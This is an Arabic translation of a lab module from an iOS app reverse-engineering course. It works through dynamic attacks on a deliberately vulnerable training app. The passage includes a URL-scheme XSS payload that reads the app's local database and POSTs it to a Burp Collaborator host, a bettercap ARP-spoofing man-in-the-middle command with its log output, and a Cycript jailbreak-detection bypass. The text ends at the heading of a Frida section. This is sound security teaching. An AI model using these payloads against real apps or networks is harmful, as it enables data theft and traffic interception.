الوحدة 4 - التحليل الديناميكي والقرصنة - Gu-sung18 - 18-05-2019
الوحدة 4 - التحليل الديناميكي والقرصنة
كما ترون في الوحدة السابقة، أنا شخصياً أحب إجراء تحليل ستاتيكي على تطبيقات iOS. لكن معظم الباحثين والهكر في مجال الأمن يفضلون التحليل الديناميكي للأنظمة. هذا هو المكان الذي يمكنك من خلاله كتابة التعليمات البرمجية للـexploits وتشغيل التطبيقات والتحقق مما إذا كانت تحوي مشاكل امنيه. هذه خطوة تفاعلية للغاية، وبدلاً من الجلوس وقراءة اكواد لغة الاسمبلي أو قراءة ملفات json/ .plist، ستتمكن من حقن اكواد برمجية في التطبيق قيد التشغيل أو إرسال البيانات إليه وتحليل كيف يقوم بتفسيرها وكيف يستجيب لها.
أحد أكبر الاختلافات بين إجراء تحليل ديناميكي على تطبيق Android مقابل تطبيق iOS هو حقيقة أنه في 99.9٪ من الوقت، على iOS، تحتاج إلى جهاز فعلي. وذلك لأن جميع التطبيقات التي تقوم بتنزيلها من App Store يتم تجميعها من أجل بنية ARM وأن محاكيات iOS تستخدم شريحة الكمبيوتر لديك، مما يعني أنها تحتوي على معمارية x86 أو x86_64.
العقبة الثانية التي ستواجهها هي أنه على الرغم من أنها ليست ضرورية، فربما تحتاج إلى جهاز معمول له jailbreak. هذا لأنه، كما تعلمت في الوحدة 2، يتم تشفير جميع التطبيقات التي تم تنزيلها من متجر التطبيقات. بمعنى، إذا لم تتمكن من الحصول على نسخة مفكوك تشفيرها من التطبيق الذي تريد تحليله، فستحتاج إلى فك تشفير التطبيق بنفسك.
ملاحظة: بالنسبة للتدريبات الموجودة في هذه الوحدة، فأنت بحاجة إلى جهاز، لكن لا يلزم ان يكون معمول له jailbreak لجميع التمارين لأنك ستستخدم نفس تطبيق CoinZa.ipa الذي تم فك تشفيره بالفعل. ستحتاج فقط إلى جهازمعمول له jailbreak لتمارين Cycript و Frida.
ستكون التمارين في هذه الوحدة مختلفة عن الوحدة السابقة. سأقدم لك قائمة بالثغرات الأمنية، وأشرح لك ماهية الثغرة الأمنية وكيفية استغلالها، ثم يمكنك اختبارها على جهازك.
تثبيت CoinZa على جهازك
للقيام بالتمارين في هذه الوحدة، ستحتاج أولاً إلى تثبيت تطبيق CoinZa على جهازك. لحسن الحظ هو امر بسيط للغاية.- إذا لم تكن قد قمت بالفعل قم بالتسجيل للحصول على حساب Apple Developer هنا (انقر فوق علامة التبويب الحساب) فهو مجاني.
- قم بتوصيل جهازك إلى جهاز الكمبيوتر الخاص بك.
- افتح Cydia Impactor ثم اسحب CoinZa.ipa. من المهم أن يكون هو ipa. الأصلي الذي قمت بتنزيله هنا وليس ملف الـbinary الذي قمت باستخراجه.
- أدخل اسم المستخدم وكلمة المرور الخاصة بالمطور وانتظر Impactor لتثبيت التطبيق على جهازك.
- استكشاف الأخطاء وإصلاحها:
- إذا قال Impactor أن كلمة المرور غير صحيحة (وأنت متأكد 100 ٪ أنها غير صحيحة) أو شيء حول "كلمة المرور الخاصة بالتطبيق". ربما يعني ذلك أنك تحتاج إلى إنشاء كلمة مرور خاصة بالتطبيق ، وإليك شرح تعليمي حول كيفية القيام بذلك.
- إذا أظهر Impactor خطأ حول طلب شهادة موجود بالفعل:
- في القائمة العلوية حدد Xcode.
- حدد إلغاء الشهادات او Revoke Certificates.
- مهم للغاية: ربما لا يكون هذا حسابًا جديدًا للمطو، فالذي سيفعله هذا الإجراء هو إبطال شهادات توقيع هذا الحساب.
- إذا قمت بعد تثبيت Impactor بتثبيت التطبيق، فاضغط على أيقونة البرنامج و iOS سيقول شيئا عن التطبيق غير موثوق به:
- افتح اعدادات التطبيق- Settings app.
- اختر عام - General.
- قم بالتمرير للأسفل وحدد الملفات الشخصية وإدارة الأجهزة- Profiles & Device Management.
- في قسم الـDeveloper App، حدد حساب المطور الخاص بك. اضغط على Trust وتأكيد.
حقن URL Scheme
كما اكتشفت في خطوة التحليل الستاتيكي، يستخدم تطبيق CoinZa عناوين Scheme URLs مخصصة وإذا كنت تستخدم ما تعلمته في الوحدة 3 وفتحت التطبيق في Hopper (أو Ghidra)، ابحث عن الـclass هذه AppDelegate، حدد هذه application:openURL:options: الـ method اوقم بفتحها بنمط pseudo-code وستجد:
r2 = @"news";
if (objc_msgSend(r19, @selector(containsString:)) != 0x0) {
r2 = @"news";
r20 = [[r19 stringByReplacingOccurrencesOfString:@"news/" withString:@""] retain];
r23 = [[NSBundle mainBundle] retain];
r22 = [[UIStoryboard storyboardWithName:@"Main" bundle:r23] retain];
r0 = [r22 instantiateViewControllerWithIdentifier:@"WebViewController"];
r23 = r0;
r0 = [r0 configureWithHTMLString:r20];
r24 = [[UINavigationController alloc] initWithRootViewController:r23];
r0 = [r21 window];
r25 = [[r0 rootViewController] retain];
r0 = [r25 topViewController];
r0 = objc_msgSend(r0, @selector(presentViewController:animated:completion:));
}
- قمت بتنظيف الكود عن طريق إزالة بعض التعليمات. معظم الكود يوضح نفسة بنفسة، لكن إذا كنت جديدًا على iOS و/أو Objc فقد لا تعرف ما هي UIStoryboard أو UINavigationController. لا بأس يمكنك فقط قراءة التوثيق الرسمي(documentation). ولكن لتوفير الوقت، سأشرح ما يجري في هنا:
- لم أقم بنسخه هنا، لكن المسجل 19 (r19) هو عنوان URL الذي تم تمريره كجزء من URL Type . في الأساس سلسلة نصية يبدو مثل هذه :coinza://<something>
- أولاً، هناك تحقق مما إذا كان r19 يحتوي على السلسلة النصية "news".إذا لم يحدث ذلك، فإنه يتجاوز كل هذا الكود.
- إذا حدث ذلك، فإنه يزيل كل تكرارات السلسلة النصية "news/" من r19 ويعين النتيجة إلى r20.
- ثم يقوم بإنشاء نموذج من view controller يسمى WebViewController. من المفترض، بناءً على اسمه، إنه وحدة تحكم (view controller) تقوم بتحميل WebView.
- ثم تستدعي method تسمى configWithHTMLString:. يمكننا أن نفترض أن هذه الـmethod تتوقع سلسلة نصية تحتوي على كود HTML. الشيء المهم الذي يجب إدراكه هو أن HTML الذي تتوقعه هذه الـclass يأتي من r20 ، والذي رأيناه هو نتيجة إزالة السلسلة "news /" من عنوان URL الأصلي الذي تم تمريره. يتم التحكم في URL هذا من قبل المهاجم!
- ثم ينفذ مجموعة من التعليمات الغير هامة.
- وأخيراً فإنه يستدعي method تسمىpresentViewController:animated:completion: التي تعرض WebViewController.
- كيف: اختبار هذه الثغرة الأمنية بسيط للغاية. مع تثبيت تطبيق CoinZa على جهازك:
- افتح Safari Mobile والصق هذه السلسلة:
<html><body><script>document.location = 'https://google.com';</script></body></html>
- يجب عليك تشفير عنوان URL أولاً ، سيبدو الإصدار المشفر كما يلي:
coinza://news/%3Chtml%3E%3Cbody%3E%3Cscript%3Edocument.location%20%3D%20%27https%3A%2F%2Fgoogle.com%27%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E
- بعد لصق السلسلة المشفرة في Mobile Safari، اضغط على Go.
- تأكد من أنك تريد فتح تطبيق CoinZa.
- هذا هو! سيتم إطلاق تطبيق CoinZa وسيعرض شاشة WebView تسمى "News" وسيتم إعادة توجيهه إلى موقع google.com.
- المشكلة: التطبيق يثق في أي سلسلة بعد //:coinza ويعرضها مباشرة في WebView. يشبه هذا إلى حد كبير ثغرة الويب التي تسمى Open Redirect والتي تسمح للمهاجمين بإعادة توجيه المستخدم من موقع شرعي إلى موقع ضار. يمكن استخدام هذه المشكلة الامنية لتنفيذ phishing attacks.
(ملاحظة المترجم: سلسلة = سلسلة نصية = string)
سحب الملفات باستخدام Javascript (XSS)
بعد التعرف على أن التطبيق يأخذ كود HTML المتلاعب به ويعرضه في WebView، يمكنك البدء في فحص ما صلاحيات الوصول الذي يمنحك اياها WebView لملفاته الداخلية. تحتوي جميع تطبيقات iOS افتراضيًا على مسارات لتخزين البيانات:
- المستندات: يستخدم هذا المسار لتخزين البيانات التي ينشئها المستخدم. هذه هي البيانات التي لا يمكن للتطبيق نسخها من تلقاء نفسه. على سبيل المثال ، الصور التي التقطها المستخدم، أو قاعدة بيانات تحتوي على الرسائل التي يرسلها المستخدم ويتلقاها. يتم نسخ هذا المسار احتياطيًا في iCloud أو iTunes عند إنشاء نسخة احتياطية للجهاز.
- المكتبة: يستخدم هذا المسار لتخزين البيانات التي لا يتم إنشاؤها من قبل المستخدم ولكن لا يتم إنشاؤها بواسطة التطبيق فقط. على سبيل المثال سجلات التطبيق، يتم تخزين سجلات التحليلات هنا بشكل عام. يعمل iOS أيضًا على إنشاء مساريين فرعيين يسمى Application Support و Caches. باستثناء مسار Caches، يتم نسخ جميع المسارات الفرعية والملفات الموجودة في هذا الدليل في iCloud أو iTunes عند إنشاء نسخة احتياطية للجهاز.
- tmp: كما يوحي الاسم، يتم استخدام هذا المسار لتخزين البيانات المؤقتة. يجب ألا يعتمد التطبيق على البيانات المخزنة هنا. لا يتم نسخ هذا المسار احتياطيًا على الإطلاق عند إنشاء نسخة احتياطية للجهاز.- بناءً على هذه المعلومات، يمكنك أن ترى أن المكان المثالي لتخزين قاعدة بيانات تحتوي على بيانات المستخدم هو في المستندات. في وضع التحليل الستاتيكي اكتشفت مفتاحًا سريًا يدعى SQLCIPHER_KEY، أعطاك هذا تلميحًا إلى أن التطبيق ربما يستخدم مكتبة SQLCipher وبالتالي يمكن أن توجد قاعدة بيانات محلية. للتأكد من أن هذا هو الحال تمامًا، افتح التطبيق في Hopper (أو Ghidra) ، وابحث عن Utils ، وحدد initDatabase method وافتحه في وضع pseudo-code وستجد:
+(void)initDatabase {
r0 = [NSBundle mainBundle];
r19 = [[r0 objectForInfoDictionaryKey:@"SQLCIPHER_KEY"] retain];
r0 = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1);
r0 = [r0 objectAtIndex:0x0];
r22 = [[r0 stringByAppendingPathComponent:@"sqlcipher.db"] retain];
r20 = r0;
objc_msgSend(r0, @selector(UTF8String));
if (sub_10004af04() == 0x0) {
r21 = @selector(UTF8String);
r0 = objc_msgSend(r0, r21);
sub_10003804c(var_38, r0, strlen(r0));
objc_retainAutorelease(@"CREATE TABLE IF NOT EXISTS Wallets (publicKey CHAR(100) NOT NULL,privateKey CHAR(100) NOT NULL,username CHAR(100) NOT NULL,balance REAL NOT NULL,PRIMARY KEY (publicKey) );");
sub_10003ad1c(var_38, objc_msgSend(@"CREATE TABLE IF NOT EXISTS Wallets (publicKey CHAR(100) NOT NULL,privateKey CHAR(100) NOT NULL,username CHAR(100) NOT NULL,balance REAL NOT NULL,PRIMARY KEY (publicKey) );", r21), 0x0, 0x0, 0x0);
sub_100049604();
}
}
- مرة أخرى، قمت بتنظيف الكود عن طريق إزالة بعض التعليمات. ولكن اسمحوا لي أن أشرح ما يحدث هنا:
- أول شيء تقوم به هذه الـmethod هو الحصول على المفتاح السري الذي عثرت عليه في Info.plist مسبقًا. كما يمكنك أن تقرأ في التوثيق الرسمي فإن objectForInfoDictionaryKey: تُرجع قيمة في Info.plist للتطبيق المحدد بواسطة المفتاح الذي تم تمريره كمعامل أول، والذي في هذه الحالة هز "SQLCIPHER_KEY"@ .
- بعد ذلك ، كما يمكنك أن تقرأ في التوثيق الرسمي، فإن الـ method هذه NSSearchPathForDirectoriesInDomains ستقوم بإرجاع قائمة سلاسل المسارات المحددة. يتم تحديد المسار بواسطة المعامل الأول، وفي هذه الحالة يكون عددًا صحيحًا integer (أو enum) بقيمة هيكس 0x9 (9 بالعشري). إذا قمت بالبحث في التوثيق الرسمي، فهذا يعني أن NSDocumentDirectory هو enum.
- ثم يقوم الكود بإلحاق مكون المسار "sqlcipher.db"@ بنهاية مسار المستندات، من خلال الـmethod هذه stringByAppendingPathComponent: . تنتهي بشيء مثل / /<something>/Documents/sqlcipher.db
- ثم إذا كانت قيمة الإرجاع ()sub_10004af04 تساوي صفرًا أو لا شيء، فإنها تنشئ جدول SQL يسمى Wallets مع 4 أعمدة: publicKey و privateKey و username و balance.
- يمكنك الآن التأكد، وبثقة عالية، من وجود مخزن لقاعدة البيانات في مجلد "المستندات" الخاص بالتطبيق.
- نظرًا لأنك تعلم أن التطبيق يقوم بعمل rendering للـHTML (و Javascript) من البيانات التي يمكنك التحكم فيها، يمكنك محاولة إدراج كود Javascript الذي سيقرأ ملفًا من مجلد "المستندات".
- لتوفير الوقت، كتبت الكود التالي:
<html>
<body>
<script>
function loadFile() {
var xmlhttp = new XMLHttpRequest();
documentsPath = document.URL.split('/').slice(0, -1).join('/');
filePath = documentsPath + '/' + 'sqlcipher.db';
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
if (xmlhttp.responseText.length > 0) {
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST","http://<some-id>.burpcollaborator.net",false);
xmlhttp2.send(xmlhttp.responseText);
}
}
};
xmlhttp.onerror = function() {
alert('Error! ' + filePath);
}
xmlhttp.open('GET', filePath, true);
xmlhttp.send();
}
window.onload = loadFile;
</script>
<p>
Hello World
</p>
</body>
</html>
- اسمحوا لي أن أشرح ما يحدث:
- أنا كتبت دالة جافا سكربت تسمى loadFile. تنشئ هذه الدالة instance لـ XMLHttpRequest ، والتي تستخدم لاسترداد البيانات من عنوان URL. تم إنشاؤها في الأصل لتجنب إعادة تحميل صفحات الويب بالكامل لإظهار البيانات للمستخدم. ولكنها تعمل بشكل مثالي لغرضنا لأنه بشكل أساسي نقوم فقط باسترداد البيانات من عنوان URL.
- ('/')document.URL.split('/').slice(0, -1).join هي سلسلة من استدعاءات الدوال التي تزيل المكون الأخير من عنوان URL لموقع الويب، على سبيل المثال إذا كان عنوان URL لموقع الويب هو https : //example.com/index.html ، ستُرجع هذه العمليات https://example.com. أقوم بذلك للحصول على جذر المسار حيث توجد صفحة الويب المقدمة حاليًا.
- بعد الحصول على مسار الجذر أقوم بإلحاق اسم قاعدة البيانات التي عثرت عليها سابقًا هي sqlcipher.db.
- ثم ابرمج onreadystatechange callback function وإذا كان الـreadyState تبع request هو 4 (استنادًا إلى التوثيق الرسمي فهذا يعني أن XMLHttpRequest instance اكمل معالجة البيانات في عنوان URL).
- إذا كان حجم responseText أكبر من الصفر فأرسل البيانات إلى خادم بعيد. في هذه الحالة، يمكنك استخدام Burp Collaborator أو أي خادم تتحكم فيه ، مثل الخادم المدمج في نظام Mac.
- ثم أتعامل مع الأخطاء.
- وأخيرًا قم بإعداد XMLHttpRequest باستخدام عنوان URL لقاعدة البيانات واستدعاء دالة ()send لبدء العملية.
- على غرار الثغرة السابقة لإرسال هذا الطلب ، ستحتاج إلى ترميز الـ URL عليه (URL-encode). على عكس الثغرة السابقة، لن أقدم النسخة المشفرة من الكود لأن هذا سيكون فريدًا حسب احتياجاتك بسبب عنوان URL الخاص بالخادم البعيد.
- بمجرد إعداد الخادم البعيد وتشفير كود HTML و Javascript ، يمكنك مرة أخرى فتح Mobile Safari وتجاوز الـpayload . تذكر أن تضيف الـ URL المخصص /coinza://news إلى بداية الكود المشفر.
- المشكلة: هذه هي نفس المشكلة كما في المثال السابق، ولكن الثغرة زادت من حدتها للوصول إلى الملفات المحلية. وللإضافة على هذه المشكلة، تذكر أنك عثرت على المفتاح السري الثابت (hardcoded secret key) لقاعدة بيانات SQLCipher؟ في هذه الحالة، سيتمكن المهاجم من الحصول على قاعدة البيانات ولأن كل عملية تثبيت واحدة تستخدم نفس مفتاح التشفير، فيمكنهم فك تشفير قاعدة البيانات والحصول على جميع المعلومات، والتي كما رأيتها بالفعل تحتوي على الـ privateKey للـwallets تبع المستخدم.
هجوم Man-in-the-Middle
في واحدة من نقاط الضعف التي وصفتها في الوحدة 3 كانت في إطار AFNetworking. هذه الثغرة الامنية تسمح للمهاجمين بتزويد التطبيقات بشهادات TLS / SSL وهمية أو غير صالحة وسوف يقبلها التطبيق بكل سرور. يشار إلى هذا بأنه هجوم رجل في الوسط أو هجوم MitM لفترة قصيرة. تخيل أنك تريد الاتصال بموقع الويب الخاص بي https://ivrodriguez.com ، في الوقت الحالي، سيوفر لك هذا الأمر شهادة Let's Encrypt TLS. ولكن إذا كنت تتعرض لهجوم MitM، فستتلقى شهادة مختلفة، على سبيل المثال من شركة Evil Corp Inc. ، تدعي أنها الشهادة صالحة لـ https://ivrodriguez.com ، ونأمل أن يرفض متصفحك هذا الاتصال. ولكن بالنسبة لتطبيقات iOS التي تشغل الإصدار 2.5.1 من AFNetworking ، سيتم قبول الاتصال. ملاحظة: إذا كان جهازك معمول له jailbreak ، فلن تتمكن من تنفيذ جميع الخطوات في هذا التمرين لأن التطبيق يحتوي على كاشف للـjailbreak. يمكنك الانتقال إلى تمرين Cycript إذا كنت تريد معرفة كيفية تعطيل كاشف ألـjailbreak ثم العودة إلى هذا التمرين. - افتح التطبيق في Hopper (أو Ghidra)، وابحث عن الـclass المسماة Utils، وحدد الـmethod المسماة :downloadWhitePaper وستجد:
+(void)downloadWhitePaper:(void )arg2 {
r20 = [[AFURLSessionManager alloc] initWithSessionConfiguration:[[NSURLSessionConfiguration defaultSessionConfiguration] retain]];
r0 = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1);
r22 = [[r0 firstObject] retain];
r25 = [[self whitepaperName] retain];
r23 = [[r22 stringByAppendingPathComponent:r25] retain];
r26 = [[NSURL fileURLWithPath:r23] retain];
[self removeFileIfExistsAtPath:r26];
r25 = [[NSURLRequest requestWithURL:[[NSURL URLWithString:@"https://raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html"] retain]] retain];
r0 = [r20 downloadTaskWithRequest:r25 progress:0x0 destination:&var_78 completionHandler:&var_A0];
r0 = [r0 retain];
objc_msgSend(r0, @selector(resume));
}
- كما ترون هذه الـmethod تستخدم AFURLSessionManager لتنزيل ملف من عنوان URL بعيد.
- إذا قمت بفتح التطبيق في Hopper (أو Ghidra)، فابحث عن عن الـclass المسماة InitialViewController ، حدد الـmethod المسماة viewDidLoad وستجد أن هذه الـmethod تم استدعائها هناك:
-(void)viewDidLoad {
[[&var_30 super] viewDidLoad];
[r19 setTitle:@"CoinZa"];
if (objc_msgSend(@class(Utils), @selector(isJailbroken)) != 0x0) {
//spoiler alert for Jailbroken devices ;)
} else {
:
:
objc_msgSend(@class(Utils), @selector(downloadWhitePaper:));
}
}
- هذا يعني أنه في كل مرة يتم تحميل InitialViewController، سيقوم التطبيق بتنزيل ملف coinza.html. هذا يمنح المهاجم فرصة لمهاجمة مستخدم عن بعد، لأنه يمكنه تنفيذ هجوم MitM وإرجاع نسخة ضارة من ملف coinza.html.
- باستخدام bettercap ، ستتمكن من استهداف جهاز المستخدم عن بُعد وتقديم شهادات TLS المزيفة واستنشاق (او عمل sniff) حركة HTTP و HTTPS.
- افتح إعدادات التطبيق، وانتقل إلى Wi-Fi، واضغط على SSID الخاص بـ WiFi وانسخ عنوان IP الخاص بجهازك.
- على جهاز الكمبيوتر الخاص بك، قم بتشغيل bettercap وأدخل كلمة مرورحساب الجذر (او root):
sudo bettercap -eval "set arp.spoof.targets <Device-IP>; arp.spoof on; https.proxy on" --debug Password:
- يجب أن نرى شيئا من هذا القبيل:
[20:41:19][mod.started] net.recon
[20:41:19][session.started] {session.started [some date]] PDT <nil>}
[20:41:19][mod.started] events.stream
[20:41:19][mod.started] net.recon
[20:41:19][sys.log][dbg] arp.spoof addresses=[redacted] macs= whitelisted-addresses= whitelisted-macs=[20:41:19][endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.).
[20:41:19][endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.).
[20:41:19][endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.).
[20:41:19][sys.log][inf] arp.spoof enabling forwarding
[20:41:19][mod.started] arp.spoof
[20:41:19][sys.log][inf] https.proxy loading proxy certification authority TLS key from /var/root/.bettercap-ca.key.pem
[20:41:19][sys.log][inf] https.proxy loading proxy certification authority TLS certificate from /var/root/.bettercap-ca.cert.pem
[20:41:19][sys.log][inf] arp.spoof arp spoofer started, probing 1 targets.
[20:41:19][sys.log][dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].
[20:41:19][sys.log][inf] http.proxy enabling forwarding.
[20:41:19][sys.log][dbg] http.proxy applied redirection [en2] (TCP) :443 -> [redacted]:8083
[20:41:19][mod.started] https.proxy
[20:41:19][sys.log][inf] https.proxy started on [redacted]:8083 (sslstrip disabled)
[redacted] > [redacted] » [20:41:20][sys.log][dbg] arp.spoof sending 60 bytes of ARP packet to [redacted]:21.
[redacted]/24 > [redacted] » [20:41:21][sys.log][dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].
- افتح تطبيق CoinZa على هاتفك وسترى بعض السجلات مثل هذه:
[redacted]/24 > [redacted] » [20:41:24][sys.log][dbg] https.proxy proxying connection from [redacted] to raw.githubusercontent.com
[redacted]/24 > [redacted] » [20:41:24][sys.log][inf] https.proxy creating spoofed certificate for raw.githubusercontent.com:443
[redacted]/24 > [redacted] » [20:41:24][sys.log][dbg] Fetching TLS certificate from raw.githubusercontent.com:443 ...
[redacted]/24 > [redacted] » [20:41:24][sys.log][dbg] https.proxy < GET raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html
[redacted]/24 > [redacted] » [20:41:24][sys.log][dbg] https.proxy > GET raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html
[redacted]/24 > [redacted] » [20:41:25][sys.log][dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].
- يمكنك التحقق من قبول التطبيق للشهادة المقدمة من bettercap لأنه إذا نقرت على الزر "Read our whitepaper"، فإن المستند المعروض هناك هو ملف coinza.html الذي تم قام التطبيق بتنزيله للتو. نظرًا لأن السطر 7 من الـpseudo-code يمكنك رؤية الـ method المسماة :removeFileIfExistsAtPath اقد تم استدعائها، فهذا يعني أنه في حالة عرض ملف HTML فهو تنزيل جديد.
- إذا قمت بفتح أي تطبيق آخر، فمن المأمول أن لا تتمكن من الوصول إلى الخادم الخاص به لأن bettercap تقدم شهادة مزورة لنطاقها. على سبيل المثال فشل تحميل Twitter.
- باستخدام هذا النهج، يمكنك تقديم ملف ضار بدل https://raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html. ستكون هذه طريقة أخرى لتحقيق نفس النتيجة مثل الاختراق السابق حيث قمت بإدخال كود Javascript عبر عناوين URL المخصصة (custom scheme)، إلا انك في هذه المرة كنت ستوفر الكود عبر هذا الملف الضار.
- المشكلة: كما ترون، فهناك ثغرة أمنية بالغة الخطورة يمكن استغلالها عن بُعد ولن يلاحظ المستخدم الهجوم. في هذه الحالة قمت بأظهار هذه المشكلة الامنية عن طريق تنزيل ملف، ولكن في سيناريو حقيقي، الـrequests ستكون هي معلومات الحسابات المصرفية، والبيانات الطبية، ووسائط التواصل الاجتماعي، وما إلى ذلك. من المهم جدًا للمطورين مراجعة أطر عمل الطرف الثالث بشكل صحيح. كما قلت من قبل، في اللحظة التي يشمل فيها مطور البرامج إطار عمل خاص بطرف ثالث، يصبح مسؤوليته الحفاظ على تحديثه وفي هذه الحالة، من الواضح أن المطور فشل في القيام بذلك.
تجاوز كاشف ألـjailbreak باستخدام Cycript
نظرًا لأنك بحاجة إلى جهازمعمول له Jailbreak لهذا التمرين، فأنا أفترض أنك تستخدم جهاز معمول له Jailbreak حالياً. هذا يعني أنك ربما لم تتمكن من استخدام جميع ميزات التطبيق لأنه يحتوي على ميزة اكتشاف الـ Jailbreak (او Jailbreak detection)والتي تمنعك من استخدامه. لكن في هذا التمرين سأريك كيفية تقوم بتجاوز هذا الاكتشاف. سيساعدك Cycript على معالجة تطبيقات iOS في وقت التشغيل. هذا يعني أنه أثناء تشغيل التطبيق، ستكون قادرًا على تعديل سلوكه. أنت بحاجة إلى جهازمعمول له Jailbreak لهذا التمرين.- افتح التطبيق في Hopper (أو Ghidra)، وابحث عن الـ class المسماة InitialViewController، وحدد الـ method المسماة viewDidLoad وستجد الـ jailbreak detection:
if (objc_msgSend(@class(Utils), @selector(isJailbroken)) != 0x0) {
[r19 setCollectionView:0x0];
[[UIAlertController alertControllerWithTitle:@"CoinZa" message:@"Sorry not sorry." preferredStyle:0x1] retain];
objc_msgSend(r19, @selector(presentViewController:animated:completion:));
[r20 release];
}
- كما ترى، يستخدم التطبيق الـ method المسماة isJailbroken من الـ class المسماة Utils لتحديد ما إذا كان الجهاز معمول له Jailbreak. يقوم العديد من المطورين بذلك على أمل ألا يتمكن الأشخاص من استخدام تطبيقهم على الأجهزة التي معمول لها Jailbreak، ولكن كبقية التطبيقات التي تعتمد على جانب العميل في التحقق، مع التصميم والوقت والمهارات الجيدة يمكن تجاوزها جميعًا.
إذا كان إصدار iOS لجهازك < 11.0 - شغّل iTunnel لإعادة توجيه ترافيك SSH عبر USB:
itnl --lport 2222 --iport 22
- قم بالدخول الى جهازك عبر SSH:
ssh -p 2222 root@localhost
- افتح تطبيق CoinZa بالنقر على أيقونته.
- أحقن Cycript في التطبيق الذي هو قيد التشغيل:
- إذا فشل هذا، يمكنك البحث عن معرف عملية التطبيق "application process id" او (pid):
- انسخ pid وقم بتمريره إلى Cycript
- لديك الآن وحدة تحكم تفاعلية يمكنك استخدامها لإرسال الأوامر إلى تطبيق CoinZa.
إذا كان إصدار iOS لجهازك > = 11.0- شغّل iTunnel لإعادة توجيه ترافيك SSH عبر USB:
itnl --lport 2222 --iport 22
- قم بالدخول الى جهازك عبر SSH:
ssh -p 2222 root@localhost
- افتح تطبيق CoinZa بالنقر على أيقونته.
- أحقن Cycript في التطبيق الذي هو قيد التشغيل:
cd /jb/bfinjectbash bfinject -P CoinZa -L cycript
- على جهازك ، سترى نافذة منبثقة تقول أنه تم تحميل Cycript وأنه يستمع الآن إلى المنفذ 1337 على عنوان IP للجهاز.
- إذا فشلت هذه الخطوة، فما عليك سوى إغلاق التطبيق وإعادة تشغيله وتشغيل الأمر مرة أخرى.
- على جهاز الكمبيوتر الخاص بك، يمكنك الآن استخدام Cycript للاتصال عن بعد بالتطبيق باستخدام IP والمنفذ الموضحين في النافذة المنبثقة بواسطة bfinject على جهازك:
cycript -r <Device-IP>:1337
- لديك الآن وحدة تحكم تفاعلية يمكنك استخدامها لإرسال الأوامر إلى تطبيق CoinZa.
أي إصدار أخر من نظام التشغيل iOS- الآن وبعد أن أصبح لديك وحدة تحكم تفاعلية عبر Cycript ، يمكننا البدء بإزالة هذا الإطار المنبثق المزعج. أولاً ، سنستخدم دالة الاختيار للحصول على جميع الـ instances للـclass السماة UIAlertController. تقوم دالة الاختيار"choose function" بقراءة توقيع الـclass المتوفرة وتبحث في الذاكرة عن الـobjects التي لها توقيع مشابه وتقوم بإرجاع array بكافة الـobjects التي يمكن العثور عليها:
cy$ choose(UIAlertController)
- يجب أن تُرجع شيئًا مشابهًا لـ [# "<UIAlertController: 0x1727b200>"] ، فهذا يعني أن هناك instance واحد فقط من UIAlertController في الذاكرة. هذا منطقي لأن هذا حرفيًا كل ما نراه على الشاشة في الوقت الحالي.
- يمكنك الوصول إلى الـinstance بواسطة فهرسه، كما تفعل في Javascript array ، وتعيينه إلى متغير:
cy$ var alert = choose(UIAlertController)[0]
cy$ [alert dismissViewControllerAnimated:YES completion:nil]
- يجب أن ترى التنبيه يختفي من شاشة جهازك! هذا مجرد تذوق لطعم قوة Cycript، فأنت تعدل حرفيًا سلوك التطبيق.
- ولكن بعد هذا لا تزال لا يمكنك رؤية أي شيء. المشكلة هي أنه كما رأيت من الـpseudo-code، فإن view controller لديه jailbreak detection في الـmethod المسماة viewDidLoad الخاصة به. هذا يعني أنه قد فات الأوان لتعديل هذا السلوك. ولكن يمكنك إنشاء instance جديد InitialViewController وتقديمه بشكل صحيح ؟!
- قبل القيام بذلك، تحتاج إلى ترقيع "patch" الـmethod المسماة [Utils isJailbroken]+ ، وإلا ستعرض هذه النسخة الجديدة أيضًا نافذة منبثقة. هل تحتاج إلى تجاوز هذه الـmethod:
cy$ Utils.constructor.prototype['isJailbroken'] = function() { return NO; }
- هذه هي الطريقة التي تستبدل بها الـ method بـ Cycript. نظرًا لأن هذه class method، فإننا نستخدم الكلمة المحجوزة constructor، فعلى سبيل المثال، قم فقط بإزالة تلك الكلمة المحجوزة واستخدم ClassName.prototype ['methodName']
- يمكنك اختبار القيمة المرجعة الجديدة عن طريق استدعاء الـmethod:
- الآن بعد تعديل قيمة الـ method التي تم إرجاعها لـ isJailbroken ، يمكنك إنشاء الـ InitialViewController الجديد:
cy$ var storyBoard = [UIStoryboard storyboardWithName:@"Main" bundle:[NSBundle mainBundle]]
cy$ var initVC = [storyBoard instantiateViewControllerWithIdentifier:@"InitialViewController"]
cy$ navCon = [[UINavigationController alloc] initWithRootViewController:initVC]
- لا تقلق إذا كنت مرتبكًا بعض الشيء مع هذا الكود، فهو مجرد مصطلح iOS لإنشاء view controller. ملاحظة: إذا كان الأمر كذلك، فأنا أقترح أخذ بعض الدورات التدريبية حول تطوير نظام التشغيل iOS بحيث يساعدك في بحثك.
- قم بتقديمه ويمكنك أخيرًا البدء في استخدام التطبيق:
cy$ var app = [UIApplication sharedApplication]
cy$ var del = [app delegate]
cy$ del.window.rootViewController = navCon
تمكين ميزات "ProVersion" مع Frida
